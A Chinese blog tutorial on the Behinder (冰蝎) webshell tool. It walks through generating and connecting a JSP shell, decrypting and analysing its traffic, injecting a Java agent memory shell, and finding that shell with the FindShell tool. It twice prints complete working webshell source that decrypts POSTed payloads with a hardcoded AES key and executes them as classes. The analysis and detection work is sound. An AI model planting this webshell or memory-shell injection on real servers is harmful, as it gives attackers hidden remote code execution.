behinder(冰蝎)

一、冰蝎的连接

先打开冰蝎,注意jdk版本,可能会影响

打开后界面如下

点击传输协议,生成shell.jsp

协议名称选择aes,里面有个key,需要用密码的md5值32位加密的前16位
我这里设置密码bihuo.cn,它的md5值32位加密的前16位为9da63beefb94c7d4


下面的加密解密可以测试一下,看是否正常
然后点击下方保存

保存之后,点击上方的生成服务端,会自动弹出shell.jsp存放的文件夹
里面就是生成的三种类型的内存马

复制shell.jsp里面的内容,粘贴到IDEA里面

然后启动运行tomcat服务器,访问shell.jsp
之后就是冰蝎连接获取webshell
冰蝎连接方式有两种,一种是密码连接

另一种是自定义,使用default 配置下的用户名和密码


连接成功就是如下图的一些功能点界面

二、冰蝎的流量分析

用burp抓取流量包分析冰蝎的流量




修改shell.jsp
让解密后的结果输出到txt文件中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!private byte[] Decrypt(byte[] data) throws Exception {String k = "9da63beefb94c7d4";javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));byte[] decodebs;Class baseCls;try {baseCls = Class.forName("java.util.Base64");Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});} catch (Throwable e) {baseCls = Class.forName("sun.misc.BASE64Decoder");Object Decoder = baseCls.newInstance();decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});}return c.doFinal(decodebs);}
%>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {returnsuper.defineClass(b, 0, b.length);}}
%><%if (request.getMethod().equals("POST")) {ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] buf = new byte[512];int length = request.getInputStream().read(buf);while (length > 0) {byte[] data = Arrays.copyOfRange(buf, 0, length);bos.write(data);length = request.getInputStream().read(buf);}/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??out.clear();out=pageContext.pushBody();*/out.clear();out = pageContext.pushBody();byte [] decryptBytes = Decrypt(bos.toByteArray());File file = new File("C:/decode1.txt");FileOutputStream fileWriter = new FileOutputStream(file);fileWriter.write  (decryptBytes);fileWriter.close();new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);}
%>



开启调试,然后使用burp发包
就会看到,本地出现decode1.txt文件和decode2.txt文件

后缀改成.clss
然后使用jd-gui工具反编译成java文件
jd-gui工具打不开文件的话,随便找一个其它文件打开,也能查看反编译好的文件

然后就是复制到IDEA里面


接下里的调试,就是新增一个main函数
IDEA里面输入psvm,可以快捷增加main函数

右键调试main函数
然后进入equals方法里面

public static void main(String[] args) {Qiaftpx qiaftpx = new Qiaftpx();qiaftpx.equals(1);
}

public static void main(String[] args) {Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();fmulvhnsdr.equals(1);
}


我这里可能哪里有问题,没有彻底调试完成,后续成功弄出来再编辑这里吧

最后结果,behinder 握手包 2个
(1) 只返回success状态码
(2) 返回 相关的基础信息 服务器版本 操作系统版本 os版本 phpinfo 系统环境变量等

三、冰蝎的基本功能

连接上冰蝎之后,自己点点看就行



四、冰蝎反弹shell

冰蝎支持三种形式的反弹shell,meterpreter、shell、cobalt strike
下面我只演示两个meterpreter、shell,cobalt strike还得部署一会,先pass




五、java agent内存马

1. 理解java agent

参考文章理解java agent
https://blog.csdn.net/qq_45927266/article/details/124540920

2. 使用java agent

冰蝎工具自带注入java agent内存马功能,右键注入内存马

我们修改代理,抓包分析下


点击注入内存马之后,注入类型选择agent,路径点击默认的,然后修改文件名
我这里写的bihuo15.jsp

我们可以看到有大量的请求包,我这里甚至的都没有放完
它这里实际上是通过截断成大量的请求包,最后拼接成内存马的代码
可能是防止被杀

直接放完包之后,冰蝎上面多了一个通过内存马的连接
后面的状态是方框的话,就代表是内存马
左下角显示注入完成

通过内存马点开连接之后,发现功能一样能使用

并且未在主机,也就是服务器上发现bihuo15.jsp文件,没有发现内存马代码
看来是注入到了内存中

3. 分析java agent

我们在shell.jsp的基础上加入一些代码
让它AES解密之后,将内容写入到agent.txt文件中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!private byte[] Decrypt(byte[] data) throws Exception {String k = "9da63beefb94c7d4";javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));byte[] decodebs;Class baseCls;try {baseCls = Class.forName("java.util.Base64");Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});} catch (Throwable e) {baseCls = Class.forName("sun.misc.BASE64Decoder");Object Decoder = baseCls.newInstance();decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});}return c.doFinal(decodebs);}
%>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {returnsuper.defineClass(b, 0, b.length);}}
%><%if (request.getMethod().equals("POST")) {ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] buf = new byte[512];int length = request.getInputStream().read(buf);while (length > 0) {byte[] data = Arrays.copyOfRange(buf, 0, length);bos.write(data);length = request.getInputStream().read(buf);}/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??out.clear();out=pageContext.pushBody();*/out.clear();out = pageContext.pushBody();byte [] decryptBytes = Decrypt(bos.toByteArray());File file = new File("C:/agent.txt");FileOutputStream fileWriter = new FileOutputStream(file);fileWriter.write  (decryptBytes);fileWriter.close();new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);}
%>

然后开启调试,随便放一个流量包,就会发现多出agent.txt文件

将后缀改成.class

然后通过jd-gui反编译工具,将class文件反编译为java文件
有时候这个jd-gui工具无法打开文件,我们可以放一些其它的文件,例如我随便找的一个ArcTest.class文件,只要打开这个,agent.class也可以查看

4. 内存马查杀(findshell工具)

上面我们说到,内存马bihuo15.jsp文件并没有在服务器找到
那么我们需要借助内存马查杀的工具去检测内存马

https://github.com/geekmc/FindShell

打开工具

使用方法github也写着


先通过jps命令找到目标JVM的pid
然后使用这个工具,加上–pid 目标JVM的PID
还要加上–debug参数,才可以生成文件分析

可以看到有很多PID,如果我们不知道哪个是目标JVM的pid,那就一个一个试
看哪个生成了文件

或者停止服务器,再使用jps命令,对比发现少了哪个PID,快速判断目标JVM的PID

这里我都尝试过,这个Bootstarp就是目标JVM
成功生成out目录

使用IDEA打开out目录,里面就是java agent内存马
全部分析太麻烦

这里只需要找到两个东西

一个是java agent内存马绑定的访问路径

另一个是AES解密的key

5. 冰蝎 java agent防检测

注入java agent内存马的时候
下面有个防检测功能

我们重新注入一下,并且将out目录删除掉

然后我们再次使用findshell工具检测java agent内存马,发现还是生成了out目录
防检测功能未生效,这里可能是软件功能没制作好,或者可能是只能防止部分软件检测,而恰好findshell不能防

了解一下有这个功能点就行

32_behinder(冰蝎)相关推荐

  1. openssl 版本区别_冰蝎的前世今生:3.0新版本下的一些防护思考

    微信又改版了,为了我们能一直相见 你的加星和在看对我们非常重要 点击"长亭安全课堂"--主页右上角--设为星标? 期待与你的每次见面- 冰蝎(Behinder)是国内黑客圈较火的一 ...

  2. [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...

  3. 32位md5解密_冰蝎特征检测及报文解密

    点击"蓝字"关注我们,不迷路~‍‍前言 19年驻场于某金融单位.参加19年9月.11月两次攻防演练,负责攻防演练组织.技术支持和复盘.期间,多个攻击队伍使用冰蝎 webshell ...

  4. base64还原_冰蝎3.0流量分析与还原

    希望这篇文章可以真正帮助那些被打穿的单位识别与溯源. phpshell 与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是,冰蝎3.0的AES密钥为连接密码32位md5值的前16位,默认连接 ...

  5. 冰蝎shell_冰蝎动态二进制加密WebShell特征分析

    概述 冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时 ...

  6. 冰蝎(Behinder)双击无法打开

    冰蝎(Behinder)双击无法打开 文章目录 冰蝎(Behinder)双击无法打开 尝试过的解决方法 最后的解决方法 参考链接 不想讲过多废话:我的环境如下,如果感觉环境不是很相符的,可以关闭这个页 ...

  7. 冰蝎shell_冰蝎全系列有效:针对 HTTPS 加密流量的 webshell 检测研究

    阅读: 322 webshell 是 Web 攻击中常见的一种木马形式,目前主流的检测方法都是基于 HTTP 请求和响应流量的内容特征,然而在 HTTPS 协议下,很多 webshell 检测机制是无 ...

  8. 冰蝎软件的配置与应用

    基于冰蝎软件的配置与应用 冰蝎(behinder)是一款动态二进制加密网站管理客户端.也叫做webshell管理工具,第一代webshell管理工具"菜刀"的流量特征非常明显,很容 ...

  9. 冰蝎Behinder_v4.0

    目录 一.冰蝎4.0☕️ 二.流量特征问题☕️ 三.工作流程☕️ 四.演示过程☕️ 五.流量检测☕️ 一.冰蝎4.0☕️  冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由 ...

最新文章

  1. ED/EP系列5《消费指令》
  2. android外置传感器,Android中外接键盘的检测的实现
  3. java: 十六进制转八进制
  4. 【vue-router①】router-link跳转页面传递参数 - 进击的前端之路(偶尔爬坑java小路) - SegmentFault 思否
  5. python列表split_Python-split()函数实例用法讲解
  6. gdb命令中attach使用
  7. 成为Java流大师–第4部分:数据库流
  8. OpenXLive 0.9.9 SDK发布,增加对SNS的支持
  9. 添加请求头 retrofit_RxJava 与 Retrofit 结合的最佳实践
  10. eclipse的workspace和working set
  11. Ubuntu18.04中配置QT5.11开发环境
  12. 【NLP】关系提取简述
  13. 理解委托的两类必要方法
  14. OSChina 周三乱弹 —— 生活要懂得苦中作乐
  15. 2020最新的黑马Java分享,包含课件,资料,项目,教程全部免费分享,需要的赶紧去收藏吧
  16. Hadoop高可用原理及环境搭建
  17. Kmeans聚类分析
  18. 最左前缀原则最左匹配原则
  19. 什么是Https、数字签名、数字证书
  20. 解决java报错class [Ljava.lang.Object; cannot be cast to class [Ljava.lang.Comparable

热门文章

  1. 树莓派搭建自动追番服务器详细教程|树莓派|Jellyfin|AutoBangumi|qBittorrent
  2. php三极管驱动蜂鸣器计算,三极管驱动蜂鸣器这些“陷阱”要小心!
  3. 支付宝开放平台应用— 乡镇卫生院申请
  4. 码蹄集丨三角形的个数
  5. 在matlab中定义对数函数,对数函数在MATLAB(Octave)中有3种不同底数,下列选项中哪个是没有定义的:...
  6. crypto-MagicianV(buuctf)
  7. 服务器系统用摄像头需安装插件,服务器监控如何添加摄像头
  8. 数据采集—业务系统日志数据采集
  9. linux系统USB摄像头反应慢,Linux下OpenCV打开USB接口的UVC摄像头及索引号是202的原因...
  10. 跳槽报告:异地跳槽成趋势,90后无惧裸辞